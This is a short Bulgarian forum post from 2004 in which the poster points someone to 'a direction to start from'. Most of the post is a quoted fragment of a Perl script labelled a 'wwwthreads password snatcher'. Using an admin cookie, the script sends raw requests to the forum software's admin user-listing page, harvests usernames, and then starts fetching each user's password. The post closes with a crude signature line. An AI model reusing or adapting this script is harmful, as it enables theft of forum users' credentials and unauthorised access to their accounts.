Абсолютно е така.

Аз също нямам намерение да се занимавам с дир.бг, просто показах една насока от където може да се тръгне и да се постигне това което искаш.


.... @letts=split(//,'0ABCDEFGHIJKLMNOPQRSTUVWXYZ');
print STDERR "wwwthreads password snatcher \r\n";
print STDERR "Getting initial user lists...";

foreach $let (@letts){
$parms="Cat=&Start=$let";
$tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
"Cookie: Username=$username; Password=$passhash\r\n\r\n";

my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/showoneuser\.pl\?User=([^"]+)\"\>/){
push @users, $1;}}}

$usercount=@users;
print STDERR "$usercount users retrieved.\r\n".
"Fetching individual passwords...\r\n"; ....


Man and mouse alike, both end up in pussy

Редактирано от ******** на 17.03.04 16:16.